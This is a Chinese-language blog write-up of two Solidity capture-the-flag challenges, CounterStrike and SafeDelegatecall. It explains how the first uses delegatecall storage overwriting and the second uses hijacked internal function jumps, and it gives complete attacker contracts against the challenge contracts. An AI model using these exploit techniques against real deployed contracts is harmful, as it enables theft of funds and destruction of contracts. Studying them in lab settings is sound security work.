抱歉,您的浏览器无法访问本站
本页面需要浏览器支持(启用)JavaScript
了解详情 >

CounterStrike

1.question

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
pragma solidity ^0.5.10;

contract Launcher{
uint256 public deadline;
function setdeadline(uint256 _deadline) public {
deadline = _deadline;
}

constructor() public {
deadline = block.number + 100;
}
}

contract Setup {
EasyBomb public easyBomb;

constructor(bytes32 _password) public {
easyBomb = new EasyBomb(address(new Launcher()), _password);
}

function isSolved() public view returns (bool) {
return easyBomb.power_state() == false;
}
}

contract EasyBomb{
bool private hasExplode = false;
address private launcher_address;
bytes32 private password;
bool public power_state = true;
bytes4 constant launcher_start_function_hash = bytes4(keccak256("setdeadline(uint256)"));
Launcher launcher;

function msgPassword() public returns (bytes32 result) {
bytes memory msg_data = msg.data;
if (msg_data.length == 0) {
return 0x0;
}
assembly {
result := mload(add(msg_data, add(0x20, 0x24)))
}
}

modifier isOwner(){
require(msgPassword() == password);
require(msg.sender != tx.origin);
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}

modifier notExplodeYet(){
launcher = Launcher(launcher_address);
require(block.number < launcher.deadline());
hasExplode = true;
_;
}

constructor(address _launcher_address, bytes32 _fake_flag) public {
launcher_address = _launcher_address;
password = _fake_flag ;
}

function setCountDownTimer(uint256 _deadline) public isOwner notExplodeYet {
launcher_address.delegatecall(abi.encodeWithSignature("setdeadline(uint256)",_deadline));
}
}

📌 目标:成功调用Setup合约中的isSolved()函数。

2.analysis

调用isSolved()的前提是:将EasyBomb合约的power_state变量修改为false,而能完成这个要求的只有setCountDownTimer函数,delegatecall嘛,调用逻辑合约的代码逻辑,其作用作用在自己身上。这为修改power_state提供了可能性。

而,调用该函数的前提是,通过两道修饰器,先来分析两个修饰器

isOwner():

1
2
3
4
5
6
7
8
modifier isOwner(){
require(msgPassword() == password);
require(msg.sender != tx.origin);
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}

三个断言:

    1. 要猜对密码,密码的存储形式为:bytes32 private password;,在区块链中合约上的信息都是公开透明的,即使使用了private修饰符,但是仍然可以通过脚本语言来获取,比如ethersjs:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    const { ethers } = require('hardhat');

    describe("[chainflag]CounterStrike", function() {

    let deployer, player;

    // 执行操作的前序工作
    before(async function() {

    [deployer, player] = await ethers.getSigners();

    });

    // 攻击逻辑
    it("Execution", async function() {
    let contractAddress = ""; // EasyBomb'address
    let slot = await ethers.provider.getStorage(contractAddress, 1);
    console.log(`slot = ${slot}`);
    });

    // 验证是否通过
    after(async function() {

    });

    });
  • 为何是获取slot1位置的值呢,因为bool private hasExplode = false; address private launcher_address;这两个变量的存储空间加起来不不到32bytesEVM或进行内存优化,将这两个值一同存放在slot0的位置。

    1. 要求调用者不能是EOA,只需要通过一个中间合约调用即可
    1. 要求调用者中的代码量为0,简单,在构造函数constructor中调用函数即可。

notExplodeYet():

1
2
3
4
5
6
modifier notExplodeYet(){   
launcher = Launcher(launcher_address);
require(block.number < launcher.deadline());
hasExplode = true;
_;
}
    1. 要求在一百个区块的时间内才可以调用

分析setCountDownTimer(uint256)

1
2
3
function setCountDownTimer(uint256 _deadline) public isOwner notExplodeYet {
launcher_address.delegatecall(abi.encodeWithSignature("setdeadline(uint256)",_deadline));
}

emmm,仔细分析还是蛮有意思的。怎么说呢,因为在launcher_address,其功能只是修改Launcher合约中的deadline,满打满算也只能将EasyBomb合约中的slot0位置的两个变量覆盖,不能修改到power_state的值,索性修改launcher_address为攻击合约的地址吧,这样setdeadline(uint256)可以执行攻击逻辑。

但是想象是美好的,中规中矩的覆盖会出现偏差,只填入地址值的话,实际存储到合约上launcher_address的值会低8位,如:

image-20230823144301966

所以需要对地址进行左移8位:<<8

再看看msgPassword()函数中的如下代码

1
2
3
4
5
bytes memory msg_data = msg.data;

assembly {
result := mload(add(msg_data, add(0x20, 0x24)))
}

bytes memory msg_data = msg.data;msg_data 是动态数组类型,且加载到内存中,由于动态数组比较特殊,往往在msg_data真正的数据值前先占用32bytes来保存数组的长度,画个图:

image-20230823132804533

而在内联汇编中直接写入变量名的作用是,直接到存储该变量的位置。

result := mload(add(msg_data, add(0x20, 0x24))):表示,先到存储msg_data 的位置,然后,跳过0x44个字节,为什么是 68bytes呢,因为前 32bytes 存储数组长度,3235bytes存储函数的构造器,3667bytes存储的是该函数选择器的形参,跳过这些之后,再读取32bytes的数据,所料不错的话应该就是自己包装的password。蛮细节的。

3. solve

攻击合约:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
contract Helper {

bool private hasExplode = false;
address private launcher_address;
bytes32 private password;
bool public power_state = true;
uint256 public deadline;

constructor(address _setup) public {
deadline = block.number + 100;
}

function setdeadline(uint256) public {
power_state = false;
}
}

contract Hacker {

Helper helper;
Setup setup;
EasyBomb bomb;
bytes32 password;

constructor(address _setup, bytes32 _password) public {
helper = new Helper(_setup);
setup = Setup(_setup);
password = _password;
bomb = setup.easyBomb();
attack();
}

function attack() internal {
uint hacker_address = uint(uint160(address(helper))) << 8; // 左移8位
address(bomb).call(abi.encodeWithSignature("setCountDownTimer(uint256)", hacker_address, password));
address(bomb).call(abi.encodeWithSignature("setCountDownTimer(uint256)", hacker_address, password));
}
}

image-20230823151400531

SafeDelegatecall

1.question

源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
pragma solidity ^0.4.23;

contract SafeDelegatecall {

address private owner;
bytes4 internal constant SET = bytes4(keccak256('fifth(uint256)'));
event SendFlag(address addr);
uint randomNumber = 0;

struct Func {
function() internal f;
}

constructor() public payable {
owner = msg.sender;
}

modifier onlyOwner {
require(msg.sender == owner);
_;
}

function execute(address _target) public payable{
require(_target.delegatecall(abi.encodeWithSelector(this.execute.selector)) == false, 'unsafe execution');

bytes4 sel;
uint val;

(sel, val) = getRet();
require(sel == SET);

Func memory func;
func.f = gift;
assembly {
mstore(func, sub(mload(func), val))
}
func.f();
}

function gift() private {
payforflag();
}

function getRet() internal pure returns (bytes4 sel, uint val) {
assembly {
if iszero(eq(returndatasize, 0x24)) { revert(0, 0) }
let ptr := mload(0x40)
returndatacopy(ptr, 0, 0x24)
sel := and(mload(ptr), 0xffffffff00000000000000000000000000000000000000000000000000000000)
val := mload(add(0x04, ptr))
}
}

function payforflag() public payable onlyOwner {
require(msg.value == 1, 'I only need a little money!');
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}

function() payable public{}
}

📌 成功调用payforflag(),也指成功执行完这个函数对吧。

2.analysis

题目要求是成功调用payforflag()函数,看一遍代码没发现可以成为owner的漏洞,让我这菜鸟一度陷入迷茫,看了大佬的博客之后茅塞顿开。成功调用某个函数,无非就是将其函数体中的代码逻辑跑通,至于那些限制条件,无非就是阻止你成功运行函数体的代码而已,要是能直接跳过限制条件,问题就迎刃而解了。

解题的关键在于execute() 和 getRet()函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
  function execute(address _target) public payable{
require(_target.delegatecall(abi.encodeWithSelector(this.execute.selector)) == false, 'unsafe execution');

bytes4 sel;
uint val;

(sel, val) = getRet();
require(sel == SET);

Func memory func; // 这里声明为memory不会出现插槽覆盖
func.f = gift;
assembly {
mstore(func, sub(mload(func), val)) // 存放在memory中
}
func.f();
}

function getRet() internal pure returns (bytes4 sel, uint val) {
assembly {
if iszero(eq(returndatasize, 0x24)) { revert(0, 0) } // eq 相等返回 1,不相等返回0,要求返回值得是 36bytes
let ptr := mload(0x40) // 存储在 96 - 128 (32 bytes)
returndatacopy(ptr, 0, 0x24) // 将返回值的前36个字节拷贝到 memory中,起始位置为 0x40
sel := and(mload(ptr), 0xffffffff00000000000000000000000000000000000000000000000000000000) // 读取指针后32bytes的值,但是只保留前4bytes
val := mload(add(0x04, ptr))
}
}

execute要求代理调用execute失败,且返回值的长度为 4 + 32 bytes,调用失败且自定义返回值的长度及其内容可以做到,但是这仍然无法成为owner,但是代码中有个漏洞

1
2
3
4
assembly { 
mstore(func, sub(mload(func), val))
}
func.f();

func.f();执行该函数,其实就是跳转到 sub(mload(func), val),这怎么理解呢。

我的理解是,函数在底层被编译为操作码的时候,代码将会被拆分存放,一个位置存放一段代码,而在某指定空间内,当调用某函数时,会读取内存中的值,并跳转到指定位置,而当调用func.f()的时候,其要跳转到的位置就是sub(mload(func), val)这便要反编译合约证实。

又知道,val的值是可以自定义的,所以进行函数调用的时候,函数可以跳转到任意位置,这将取决于 val的值。

反编译合约:

编译链接:website

image-20230829192827419

如上图这是要跳转的位置:03c1

image-20230829193104796

如上是payforflag()的操作码

1
2
3
4
5
function payforflag() public payable onlyOwner {
require(msg.value == 1, 'I only need a little money!');
emit SendFlag(msg.sender);
selfdestruct(msg.sender);
}

image-20230829193607791

对应着:

1
2
3
4
5
6
Func memory func; 
func.f = gift;
assembly {
mstore(func, sub(mload(func), val))
}
func.f();

此时已经知道了,被减数(0x048a)和差(0x03c1),要求减数(to_sub); to_sub = 0x048a - 0x03c1 = 1162 - 961 = 201 = 0xc9,所以让其返回值,val=0xc9皆可完成挑战。

又因为,_target.delegatecall(abi.encodeWithSelector(this.execute.selector))进行函数代理调用的时候并没有传参,所以函数肯定是会调用失败的,而且甚至连函数体都进不去,更不用说设置返回值了,所以便要借助回调函数fallback

大佬博客: link;我同学的博客:link

3. solve

攻击合约

1
2
3
4
5
6
7
8
9
10
11
12
13
contract Hacker {

bytes4 internal constant SET = bytes4(keccak256('fifth(uint256)'));

function() external {
bytes4 sel = SET;
assembly {
mstore(0,sel) // sel: 前4bytes按要求返回
mstore(4,0xc9) // val: 后32bytes用来自定义跳转位置
revert(0,0x24) // 导致执行错误,以及返回 36bytes
}
}
}

image-20230829195432831

总结

📌 知道了如何搭建calldata,在函数体内的msg.data,其实是通过call来调用函数时,才会有。而且,在十六进制表示的数中,两位数实则代表着8位。最重要的是,在函数初始化时,构造器中可以调本合约中的函数,但是在构造中,其他合约不能调用本合约的函数,什么意思呢,就是比如在构造器中调用本合约的函数中,该函数调用了其他合约的函数方法,同时其他合约被调用的函数需要调用调用者的某个函数,即使合约本身实现了该函数,但是由于在构造ing,所以函数将会调用失败。

想要变高手那必然需要是需要去接触底层的代码逻辑,甚至是EVM操作码。懂得了函数在底层并不是一个函数在同一个地方罗列出来,而是通过一步步跳转实现的,调用函数时,可以提前改变跳转的位置,从而实现控制代码的走向,忽视一些限制条件。(二刷:mstore(func, sub(mload(func), val)),我觉得如果函数是这样修改的话,执行func时,底层逻辑为:执行到前四个字节,随后往下读取32bytes,这32bytes存储的是—>函数体内容,它可以是一个跳转地址,就比如sub(mload(func), val)存储的就是func函数的函数体内存位置,所以只要改变跳转位置,就可以实现自由控制函数执行逻辑)

评论



政策 · 统计 | 本站使用 Volantis 主题设计